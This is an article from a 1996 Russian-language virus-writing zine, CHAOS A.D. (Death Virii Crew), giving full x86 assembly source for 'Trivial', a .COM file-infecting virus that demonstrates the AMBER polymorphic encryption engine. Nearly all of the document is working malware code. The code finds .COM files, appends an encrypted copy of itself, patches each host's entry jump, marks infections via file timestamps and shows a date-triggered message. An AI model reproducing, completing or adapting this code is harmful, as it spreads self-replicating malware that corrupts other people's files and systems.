[Death Virii Crew] Presents
CHAOS A.D. Vmag, Issue 2, Summer 1996                           file 008


                        Пример использования AMBER.

                                Trivial

  Этот .COM-нерезидент был написан исключительно для демонстрации AMBER.
  Trivial - это и есть Trivial. Что я еще могу к этому добавить ;)))))

;================================ резать тут ============================
.286
.model tiny
.code
org 100h
start:
call $+3
pop bp
sub bp,3

mov cx,100                              ; длинна DTA
mov si,80h                              ; Начиная с 80h
mov di,buf1
cld
rep movsb                               ; Сохраняем DTA

mov si,old3bytes-start
add si,bp
mov di,rest
mov cx,3
cld
rep movsb

mov ah,4eh                              ; функция поиска первого файла

find:

mov cx,20h              ; с атрибутом ARCHIVE
mov dx,fmask-start      ; и по маске только .COM файлы
add dx,bp
int 21h                 ; собственно само прерывание
jnc @qw
jmp quit

@qw:
cmp word ptr ds:[9ah],len      ; по смещению 9ah - длинна найденной проги
jb next1                       ; если длинна эта меньше длины вируса то next
cmp word ptr ds:[9ah],61000    ; а если она вдруг больше 61000
ja next1                                 ; то аналогичный результат
mov al,byte ptr ds:[96h]
and al,1fh
cmp al,7
jz next1

;---------------------------------- save time & data -------------------
mov si,__time-start
add si,bp
mov ax,ds:[96h]
mov [si],ax
mov ax,ds:[98h]
mov [si+2],ax
;------------------------------------------------------------------------

mov ax,3d02h
mov dx,9eh
int 21h
jc next

xchg ax,bx
mov ah,3fh
mov cx,3
mov dx,old3bytes-start
add dx,bp
int 21h
jc next

mov si,dx
cmp word ptr [ds:si],'MZ'       ; А не является ли
jz next                         ; эта прога случайно
cmp word ptr [ds:si],'ZM'       ; EXEшником (в начале ZM или MZ)
jnz @a1                          ; переименованым в COM ?

next:                           ; мы встретили брата ?
mov ah,3eh                      ; функция закрытия файла
int 21h                         ; прерывание
next1:
mov ah,4fh                      ; функция поиска следующего
jmp find                        ; и на поискать идем опять в начало

@a1:
mov ax,4202h                    ; функция перемещения pointer'a
xor cx,cx                       ; смещение отступа
xor dx,dx                       ; от конца = 0
int 21h                         ; прерывние
jc next                         ; ошибки ? опять на поискать

push bx

mov bx,base

mov ax,ds
mov [bx.segsource],ax
mov [bx.ofssource],bp
mov [bx.lensource],len

mov [bx.segcrypt],ax
mov [bx.ofscrypt],buf
mov ax,ds:[9ah]

mov cx,ax
sub cx,3
mov [bp+form-start+1],cx

add ax,100h
mov [bx.startIP],ax
pusha
call phantom
popa

mov cx,[bx.lencrypt]
mov dx,buf
pop bx

mov ah,40h
int 21h
jc next

mov ax,4200h  ; функция перемещения pointer'a, теперь уже в начало проги
xor cx,cx     ; смещения от начала
xor dx,dx     ; равны 0
int 21h       ; перемещаем
jc next       ; ошибки ? мы идем искать следующий

mov ah,40h    ; функция записи в файл
mov dx,form-start
add dx,bp
mov cx,3
int 21h       ; и записываем вирус в начало проги
jc next       ; ошибки ? ну вы знаете

mov si,__time-start
add si,bp
mov cx,[si]
and cl,0e0h
add cl,7
mov dx,[si+2]
mov ax,5701h
int 21h

jmp next

quit:       ; выход здесь !

mov di,80h
mov si,buf1
mov cx,100
rep movsb  ; Восстанавливаем DTA

mov si,rest
mov di,100h
cld
movsb
movsw


mov ah,2ah
int 21h

cmp dh,dl
jnz idi

mov dx,mess-start
add dx,bp
mov ah,9
int 21h

idi:
xor ax,ax
xor bx,bx
mov cx,0ffh
mov bp,sp
mov si,100h
jmp si

fmask db '*.com',0 ; маска файлов, которые мы будем искать
mess db '[Trivial]',e
old3bytes db 0cdh,20h,0
form db 0e9h,0,0
__time dd 0
e equ 0dh,0ah
buf equ 0f000h               ; буфер с которым мы работаем - высоко высоко
buf1 equ buf-150
base equ buf1-50
rest equ base-4
include amber.asm
len equ $-start              ; длинна вируса
end start                    ; это финал

;================================ резать тут ============================



                                        (c) by Reminder [DVC]